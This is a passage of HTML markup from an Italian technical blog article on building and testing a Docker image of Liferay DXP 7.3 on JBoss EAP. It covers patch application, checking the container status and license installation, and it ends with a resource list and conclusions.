        &lt;source srcSet=&quot;/static/fdabf180b9ad49b40a97ec1e033729f5/5a46d/build-image-liferay-7.3-apply-jboss-patch.png 300w,/static/fdabf180b9ad49b40a97ec1e033729f5/0a47e/build-image-liferay-7.3-apply-jboss-patch.png 600w,/static/fdabf180b9ad49b40a97ec1e033729f5/c1b63/build-image-liferay-7.3-apply-jboss-patch.png 1200w,/static/fdabf180b9ad49b40a97ec1e033729f5/a3767/build-image-liferay-7.3-apply-jboss-patch.png 1210w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 30 - Applicazione della Patch 7.3.3 a JBoss EAP 7.3&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/fdabf180b9ad49b40a97ec1e033729f5/c1b63/build-image-liferay-7.3-apply-jboss-patch.png&quot; title=&quot;Figura 30 - Applicazione della Patch 7.3.3 a JBoss EAP 7.3&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 30 - Applicazione della Patch 7.3.3 a JBoss EAP 7.3&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/1db576d67d8cbc77aab8320e4dc0da96/17d12/build-image-liferay-7.3-install-patching-tool.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:17.333333333333336%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;70\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%2070\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2035v35h401V0H0v35m0%201a227%20227%200%20002%2025c0%203%204%203%204%200%200-1%200-2-1-1v1l-1%201-1-1-1-2-1-2h1l2%201%205-1%205-1c0-2-7-3-7-1H6c-1-2-2-2-3-1-2%201-2%201-2-1%200-1%201-2%204-2l4-2-4-1c-3%201-4%200-4-1s2-2%2012-2l9-1c0-2-3-2-5-1H1v-9h9l1-1%201-1%201%201c-1%201%200%201%201%201l7-1h1l3%201%202-2-6-1h-7L4%2032l-1%201v-3c-1%201-2%200-2-1l8-1%203-1-4-2H2c-1%201-1%201-1-1%200-1%200-2%202-1l4-1h8c2%201%203%201%206-1l2%201h1l1-2H6l-2-1c-3%200-3%200-3-9L0%2036M49%203c0%202%209%203%2010%201h1l4%201%203-1h1l6%201%207%201%201-1%201-2%201%201%202%201%202-2c0-1%200-2-1-1v1c1%202-1%201-3-1h-2l-2%201c0-2%200-2-1-1h-4c0-2-2-1-2%201h-1c-1-2-8-2-10-1h-1l-6-1c-5%200-6%201-6%202m54%200l-1%203%201-1h28l5-1c0-1%201-1%202%201%201%201%201%201%203-1l1-1c0%202%208%203%209%201h1l11%201%2010-1c-1-2-8-2-8-1h-3l-5-1h-6l-2%201c-1-1-5-2-4%200l-1%201-1-1c0-3-3-2-3%200h-2c-1-2-2-2-3-1h-2l-2%201-1%201c0-2-12-2-12-1h-1l-7-1h-6c-1-1-1%200-1%201M49%209c0%202%209%203%2010%201h1l4%201%203-1h1c1%201%2013%201%2015-1h1c0%203%204%203%204%200%200-1%200-2-1-1v1l-1%201-1-1c0-3-3-2-4%200h-1c0-2-2-3-2-1h-3c0-2-2-1-2%201h-1c0-2-9-2-10-1h-1l-6-1c-5%200-6%200-6%202m79-1l1%202h12l1%202h18l2-1%202-1-1-1-5-1h-2c-1-1-1-1-1%201h-1c-1-2-14-2-15%200h-1c0-1-8-2-10-1m-79%207c0%202%209%203%2010%201h9c1%201%2013%201%2015-1h1c0%203%204%203%204%200l-1-2-1%202v1l-1-1c0-2-2-2-4-1h-1l-1-1v2h-1c-2-2-5-2-5%200h-1c0-3-23-3-23%200m136%2010l-1%202c0%202%200%202%201%201%200-2%201-2%201-1h16l18%201h19c1%201%201%200%202-1h1c1%201%209%202%209%200l1-1%201%201%202%201%202-2c0-1%200-2-1-1v1c1%202-1%201-2-1h-3l-9-1c-1%200-2%200-2%202h-23l-1-2v2h-1l-7-1h-8c0%202-1%202-1%201l-6-1h-8M53%2054v4l21-1%203-1h1l5%201%205-1h11c1%202%209%202%2010%200l1-1%202%202c2%200%203%200%202-2%200-2%200-2-1-1%200%202-2%203-2%201l-1-2-2%201h-9l-2%201h-1l-2-1-3%201h-1c0-2-13-2-14%200h-1l-10-1H53\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/1db576d67d8cbc77aab8320e4dc0da96/c85cb/build-image-liferay-7.3-install-patching-tool.webp 300w,/static/1db576d67d8cbc77aab8320e4dc0da96/e88ff/build-image-liferay-7.3-install-patching-tool.webp 600w,/static/1db576d67d8cbc77aab8320e4dc0da96/92f8c/build-image-liferay-7.3-install-patching-tool.webp 1200w,/static/1db576d67d8cbc77aab8320e4dc0da96/b6d17/build-image-liferay-7.3-install-patching-tool.webp 1666w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/1db576d67d8cbc77aab8320e4dc0da96/5a46d/build-image-liferay-7.3-install-patching-tool.png 300w,/static/1db576d67d8cbc77aab8320e4dc0da96/0a47e/build-image-liferay-7.3-install-patching-tool.png 600w,/static/1db576d67d8cbc77aab8320e4dc0da96/c1b63/build-image-liferay-7.3-install-patching-tool.png 1200w,/static/1db576d67d8cbc77aab8320e4dc0da96/17d12/build-image-liferay-7.3-install-patching-tool.png 1666w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 31 - Installazione del Patching Tool 2.0.15&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/1db576d67d8cbc77aab8320e4dc0da96/c1b63/build-image-liferay-7.3-install-patching-tool.png&quot; title=&quot;Figura 31 - Installazione del Patching Tool 2.0.15&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 31 - Installazione del Patching Tool 2.0.15&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;Utilizzando il comando &lt;code&gt;docker images&lt;/code&gt; è possibile verificare la presenza sul
sistema della nuova immagine appena creata &lt;strong&gt;amusarra/liferay-dxp:liferay-dxp-7.3.10-ga1&lt;/strong&gt;.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/c70b834e76fd5ea47797e45eb36c2659/0f529/docker-images-liferay-7.3.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:25%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;99\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%2099\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2050a476%20476%200%20002%2047c0-2%203-3%203-1h1l2-1%202%201h1c1-1%201-1%201%201-1%201%200%202%201%202v-5l1%202c1%202%201%202%203%200%200-2%201-3%202-3l-1%203v3l2-2c-1-2%200-2%202-2l2%201h1c1-1%201-1%201%201-1%201%200%202%201%202v-5l1%203c1%203%203%203%202%200%200-2%200-2%201-1h1c1-1%201%200%201%201-1%202%200%202%202%202%203%200%203-2%200-2-4%200%203-2%209-2%205%200%206%200%206%202h-2l-1%201h-1c0%202%205%201%206-2%200-3%201-4%201%200l1%203v-2c0-2%203-4%206-2%202%201%202%202-2%203-2%201-2%201%202%201l5-1c0-2%200-3%202-3l1%202c-1%201%200%202%201%202v-5l1%202%201%201%201-1%202-1%201%202v2l1-3c0-1%200-2%201-1%200%202%202%203%202%201l3-1c3%200%203%200%203%202-1%202%200%202%205%202%207%200%207%200%206-2%200-3%202-4%204-1h4v-2l2%202%201%201v-1c0-2%201-2%203-2%203%200%203%200%203%203v2h60a799%20799%200%200060-3v-1c-1-1%200-1%204-1l5%201h15l4-1c3%200%203%201%201%203h-1c1-2%200-2-2%200h-2c-2%201-1%202%203%202s5%200%204-2c0-2%203-4%205-2h3c2%200%202%200%202%202-1%202-1%202%2014%202l15-1v-4c2-1%204%202%202%204l5%201c3%200%203%200%202-1-5%200-4-3%202-3%204%200%205%200%205%202h-1l-2%201c-1%201-1%201%202%201s3%200%202-2c0-2%200-3%202-3l4%201h2c2%200%202%200%202%202-1%202%200%202%202%202l2-2c0-2%201-2%205-2%205%200%205%200%205%202-1%202%200%202%2014%202h15v-5l2%202v2l1%201v-2c0-3%201-4%202-2h1l5-1c5%200%205%200%205%203-1%202-1%202%205%202h7V0H0v50m0%200c0%2034%201%2038%201%2015V30h5l6-1h12c0-2%200-2%201-1%202%203%204%202%204%200%200-1-1-2-6-2l-7%201H2c-1%201-1%200-1-2v-3h10l10-1v-1l2%201h3c0%202%203%201%203-1-1-2-10-2-13-1h-4c-1%202-2%202-2%201-1-2-7-2-8-1l-1-8-1%2039M356%203c-2%202-2%202%200%204%203%202%203%202%2023%202h21V1h-21c-20%200-22%200-23%202M232%2034l1%201v3l2-1c1-2%201-2%202-1h1l1%201h3c1-2%202-2%202-1l1%201h1c1%201%209%201%2010-1h3l2-2v2h1c2-2%202-2%202%200%201%202%203%202%203-1l1-1v2h1c2-2%202-2%202%200%201%203%203%202%203-1%200-2-1-2-18-2a142%20142%200%2000-21%201l-1-1-2%201m1%207v3h24l3%201c2%200%203-1%203-2l1-1%201%202c-1%201%200%201%202%201%203%200%204-3%202-4-1-1-1%200-1%201l-1%202-1-2c0-2-6-2-8-1h-25m-53%209c0%203%200%203%2016%203%2015%200%2015%200%2014-2-1-3-1-4-2-2h-1l-2%201h-2c0-3-5-2-6%200s-1%202-1%200c0-3-16-3-16%200m53-1v2c0%202%200%202%202%200h1c0%202%2016%202%2017%200h1c0%202%200%202%202%201h1l3%201c3%200%204-1%204-3-1-1-1-2-5-2l-6%201h-1l-5-1-4%201h-10m-1%2016c0%202%200%203%203%203l4-1%201-2v2h1l2-1c0%202%205%202%206%201h14l1-2v1c0%201%201%202%205%202%205%200%205-1%205-3s0-2-2-1h-26l-5-1-5%201h-2c-2-1-2-1-2%201\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/c70b834e76fd5ea47797e45eb36c2659/c85cb/docker-images-liferay-7.3.webp 300w,/static/c70b834e76fd5ea47797e45eb36c2659/e88ff/docker-images-liferay-7.3.webp 600w,/static/c70b834e76fd5ea47797e45eb36c2659/92f8c/docker-images-liferay-7.3.webp 1200w,/static/c70b834e76fd5ea47797e45eb36c2659/464f9/docker-images-liferay-7.3.webp 1259w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/c70b834e76fd5ea47797e45eb36c2659/5a46d/docker-images-liferay-7.3.png 300w,/static/c70b834e76fd5ea47797e45eb36c2659/0a47e/docker-images-liferay-7.3.png 600w,/static/c70b834e76fd5ea47797e45eb36c2659/c1b63/docker-images-liferay-7.3.png 1200w,/static/c70b834e76fd5ea47797e45eb36c2659/0f529/docker-images-liferay-7.3.png 1259w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 32 - Nuova immagine appena creata di Liferay 7.3 DXP GA1&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/c70b834e76fd5ea47797e45eb36c2659/c1b63/docker-images-liferay-7.3.png&quot; title=&quot;Figura 32 - Nuova immagine appena creata di Liferay 7.3 DXP GA1&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 32 - Nuova immagine appena creata di Liferay 7.3 DXP GA1&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;h3 id=&quot;81-test-della-nuova-immagine-liferay-dxp-73&quot;&gt;8.1. Test della nuova immagine Liferay DXP 7.3&lt;/h3&gt;&lt;p&gt;Al fine di eseguire una verifica dell&amp;#x27;immagine appena creata, è sufficiente
lanciare il comando &lt;code&gt;docker run -it {&amp;lt;imageid&amp;gt;|&amp;lt;image name&amp;gt;}&lt;/code&gt;. Dai log mostrati in
console siamo in grado di verificare se l&amp;#x27;istanza Liferay non dovesse salire
correttamente. La figura a seguire mostra che il container è salito correttamente,
vedi la colonna &lt;strong&gt;STATUS&lt;/strong&gt;.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/a6a78c075758ab67782fc99cc282a813/b2b2c/docker-ps-liferay-dxp-7.3.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:9%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;36\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%2036\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2018v18h401V0h-3c-4%200-4%200-4%203l-1%202-2-2c0-3%200-3-8-3-9%200-9%200-9%203l-1%203V0h-44v3c0%202%200%202-4%202-5%200-5%200-5-2s-1-3-2-3v1c2%201%200%203-4%204-3%200-4%200-4-3%201-2-1-3-3-1v2c2%202%200%203-3%203-1%200-2%200-2%202%201%202-3%203-4%201h-3l-1%201-1-3%201-1h2c1-1%200-1-3-1s-4%200-4%202h1c0-2%202-1%202%201l-1%201h-1c-2%202-3%201-2-1V6h-17c-16%200-18%200-18%202%200%201%200%202-2%202s-2%200-2-2l-2-4c-2-1-2-1-1-3%201-1%201-1-3-1-5%200-5%200-5%203%201%201%200%202-1%202s-2-1-1-2V0H122C23%200%209%200%2010%201c2%203%200%204-4%204S1%205%201%202C0%201%200%208%200%2018m0%201c0%209%200%2017%201%2016%200-2%201-2%205-2l5-1c1-2-2-4-6-4-3%200-4%200-3-1l1-4-1%202c-1%201-1%200-1-1%200-3-1-3%2018-3%2012%200%2013%200%2013-2-1-2-5-2-8-1h-3c-1-1-1-1-1%201h-1l-3-1h-4l-5%201H1V9l4%201%204-1h1c1%201%201%201%201-1%200-1-1-2-5-2-4%201-5%200-5-2L0%2019m224%204c-1%204-1%204%205%204l5-1h15c1%201%2015%201%2015-1%200-1-10-2-12-1h-2l-19%201c-2%201-3%201-3-1h-3l-1-1m23%207v3l31%201c25%200%2034-1%2029-2v-2c1-2-1-2-29-2-25%200-30%200-31%202\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/a6a78c075758ab67782fc99cc282a813/c85cb/docker-ps-liferay-dxp-7.3.webp 300w,/static/a6a78c075758ab67782fc99cc282a813/e88ff/docker-ps-liferay-dxp-7.3.webp 600w,/static/a6a78c075758ab67782fc99cc282a813/92f8c/docker-ps-liferay-dxp-7.3.webp 1200w,/static/a6a78c075758ab67782fc99cc282a813/44f6d/docker-ps-liferay-dxp-7.3.webp 1708w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/a6a78c075758ab67782fc99cc282a813/5a46d/docker-ps-liferay-dxp-7.3.png 300w,/static/a6a78c075758ab67782fc99cc282a813/0a47e/docker-ps-liferay-dxp-7.3.png 600w,/static/a6a78c075758ab67782fc99cc282a813/c1b63/docker-ps-liferay-dxp-7.3.png 1200w,/static/a6a78c075758ab67782fc99cc282a813/b2b2c/docker-ps-liferay-dxp-7.3.png 1708w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 33 - Verifica stato del container Liferay DXP 7.3&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/a6a78c075758ab67782fc99cc282a813/c1b63/docker-ps-liferay-dxp-7.3.png&quot; title=&quot;Figura 33 - Verifica stato del container Liferay DXP 7.3&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 33 - Verifica stato del container Liferay DXP 7.3&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;Potremmo per esempio connetterci al container e successivamente verificare tramite
la console di JBoss EAP se la patch è stata applicata.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/938797c9f457f8d36bce9002fc01c447/27e9a/check-jboss-eap-7.3.version-and-patch-info.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:43%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;172\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20172\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2086v86h401V0H0v86m0%201a1844%201844%200%20002%2067c0%201%206%201%209-1l4%201h4l1-2c0-2%200-2-1-1H3c-1%200-2-1-2-3%200-1%200-2%201-1%203%201%2011%200%2012-2H6l-1-1v1l-1%201-1-1v-2l-1%201c-1%201-1%200-1-2%200-4%200-4%201-3h2c0-1%201-1%202%201h6c0%201%202%200%202-2l-4-1a28%2028%200%2001-8-1l-1-16v-16l3%201h4c1-2-1-3-4-3-3%201-3%200-3-2s0-3%204-2l3-1-4-1H1V57c0-22%200-39%201-38%200%203%202%202%202%200%201-1%200-2-1-2-2%200-2-1-2-8L0%2087\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/938797c9f457f8d36bce9002fc01c447/c85cb/check-jboss-eap-7.3.version-and-patch-info.webp 300w,/static/938797c9f457f8d36bce9002fc01c447/e88ff/check-jboss-eap-7.3.version-and-patch-info.webp 600w,/static/938797c9f457f8d36bce9002fc01c447/92f8c/check-jboss-eap-7.3.version-and-patch-info.webp 1200w,/static/938797c9f457f8d36bce9002fc01c447/cd2f7/check-jboss-eap-7.3.version-and-patch-info.webp 1253w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/938797c9f457f8d36bce9002fc01c447/5a46d/check-jboss-eap-7.3.version-and-patch-info.png 300w,/static/938797c9f457f8d36bce9002fc01c447/0a47e/check-jboss-eap-7.3.version-and-patch-info.png 600w,/static/938797c9f457f8d36bce9002fc01c447/c1b63/check-jboss-eap-7.3.version-and-patch-info.png 1200w,/static/938797c9f457f8d36bce9002fc01c447/27e9a/check-jboss-eap-7.3.version-and-patch-info.png 1253w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 34 - Verifica versone JBoss EAP e Patch installata&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/938797c9f457f8d36bce9002fc01c447/c1b63/check-jboss-eap-7.3.version-and-patch-info.png&quot; title=&quot;Figura 34 - Verifica versone JBoss EAP e Patch installata&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 34 - Verifica versone JBoss EAP e Patch installata&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;Se provassimo ad effettuare una connessione al portale tramite il browser, verrebbe
richiesta l&amp;#x27;installazione della licenza. &lt;strong&gt;Ricordo che le immagini così create sono
senza licenza&lt;/strong&gt;; per utilizzare il portale, occorre installare il file della licenza
copiandolo all&amp;#x27;interno della directory deploy.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/369d0567d4d5838ff370aa841c9c1d99/8dd93/liferay-dxp-activation.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:75.33333333333333%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;302\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20302\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%206v5h401V0H0v6\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/369d0567d4d5838ff370aa841c9c1d99/c85cb/liferay-dxp-activation.webp 300w,/static/369d0567d4d5838ff370aa841c9c1d99/e88ff/liferay-dxp-activation.webp 600w,/static/369d0567d4d5838ff370aa841c9c1d99/92f8c/liferay-dxp-activation.webp 1200w,/static/369d0567d4d5838ff370aa841c9c1d99/61eb3/liferay-dxp-activation.webp 1369w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/369d0567d4d5838ff370aa841c9c1d99/5a46d/liferay-dxp-activation.png 300w,/static/369d0567d4d5838ff370aa841c9c1d99/0a47e/liferay-dxp-activation.png 600w,/static/369d0567d4d5838ff370aa841c9c1d99/c1b63/liferay-dxp-activation.png 1200w,/static/369d0567d4d5838ff370aa841c9c1d99/8dd93/liferay-dxp-activation.png 1369w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 35 - Connessione al portale Liferay DXP 7.3&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/369d0567d4d5838ff370aa841c9c1d99/c1b63/liferay-dxp-activation.png&quot; title=&quot;Figura 35 - Connessione al portale Liferay DXP 7.3&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 35 - Connessione al portale Liferay DXP 7.3&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;h2 id=&quot;9-risorse&quot;&gt;9. Risorse&lt;/h2&gt;&lt;p&gt;L&amp;#x27;estensione del progetto &lt;a href=&quot;https://github.com/smclab/liferay-docker&quot;&gt;liferay-docker&lt;/a&gt;
è disponibile sul repository GitHub di &lt;a href=&quot;https://www.smc.it&quot;&gt;SMC&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;A seguire lascio una serie di risorse che sono il punto di riferimento per i
contenuti di quest&amp;#x27;articolo.&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;a href=&quot;https://help.liferay.com/hc/en-us/articles/360022307392-Leveraging-Docker&quot;&gt;Leveraging Docker&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://help.liferay.com/hc/en-us/articles/360028834412-Creating-a-Liferay-DXP-Docker-Container&quot;&gt;Creating a Liferay DXP Docker Container&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://help.liferay.com/hc/en-us/articles/360028834432-Configuring-a-Docker-Container&quot;&gt;Configuring a Docker Container&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.liferay.com/resources/whitepapers/Deploying+Liferay+DXP+Using+Docker&quot;&gt;Deploying Liferay DXP Using Docker&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.dontesta.it/en/2019/08/21/how-to-build-a-docker-liferay-7-2-image-with-the-oracle-database-support/&quot;&gt;How to build a Docker Liferay 7.2 image with the Oracle Database support&lt;/a&gt;&lt;/li&gt;&lt;/ol&gt;&lt;h2 id=&quot;10-conclusioni&quot;&gt;10. Conclusioni&lt;/h2&gt;&lt;p&gt;Ben arrivati alla fine! Per esseri giunti fino in fondo alla lettura di questo
articolo, sono abbastanza sicuro che vi siate trovati nella situazione
di dover creare un&amp;#x27;immagine di Liferay, dove Liferay sia installato su di un
Application Server diverso da Apache Tomcat, o che siate in procinto di dover
affrontare quest&amp;#x27;attività.&lt;/p&gt;&lt;p&gt;Mi son trovato più volte in questa situazione, e la strada che ho voluto indicare
con questo articolo è quella che ritengo più vantaggiosa, soprattutto in termini
di semplicità nella fase di creazione dell&amp;#x27;immagine e in ultimo, l&amp;#x27;immagine così
ottenuta è conforme a quelle prodotte da Liferay stessa.&lt;/p&gt;&lt;p&gt;Voi come avete affrontato questo tema? Discutiamone insieme.&lt;/p&gt;&lt;style class=&quot;grvsc-styles&quot;&gt;
  .grvsc-container {
    overflow: auto;
    -webkit-overflow-scrolling: touch;
    padding-top: 1rem;
    padding-top: var(--grvsc-padding-top, var(--grvsc-padding-v, 1rem));
    padding-bottom: 1rem;
    padding-bottom: var(--grvsc-padding-bottom, var(--grvsc-padding-v, 1rem));
    border-radius: 8px;
    border-radius: var(--grvsc-border-radius, 8px);
    font-feature-settings: normal;
  }
  
  .grvsc-code {
    display: inline-block;
    min-width: 100%;
  }
  
  .grvsc-line {
    display: inline-block;
    box-sizing: border-box;
    width: 100%;
    padding-left: 1.5rem;
    padding-left: var(--grvsc-padding-left, var(--grvsc-padding-h, 1.5rem));
    padding-right: 1.5rem;
    padding-right: var(--grvsc-padding-right, var(--grvsc-padding-h, 1.5rem));
  }
  
  .grvsc-line-highlighted {
    background-color: var(--grvsc-line-highlighted-background-color, transparent);
    box-shadow: inset var(--grvsc-line-highlighted-border-width, 4px) 0 0 0 var(--grvsc-line-highlighted-border-color, transparent);
  }
  
  .default-dark {
    background-color: #1E1E1E;
    color: #D4D4D4;
  }
  .default-dark .mtk1 { color: #D4D4D4; }
  .default-dark .mtk11 { color: #DCDCAA; }
  .default-dark .mtk3 { color: #6A9955; }
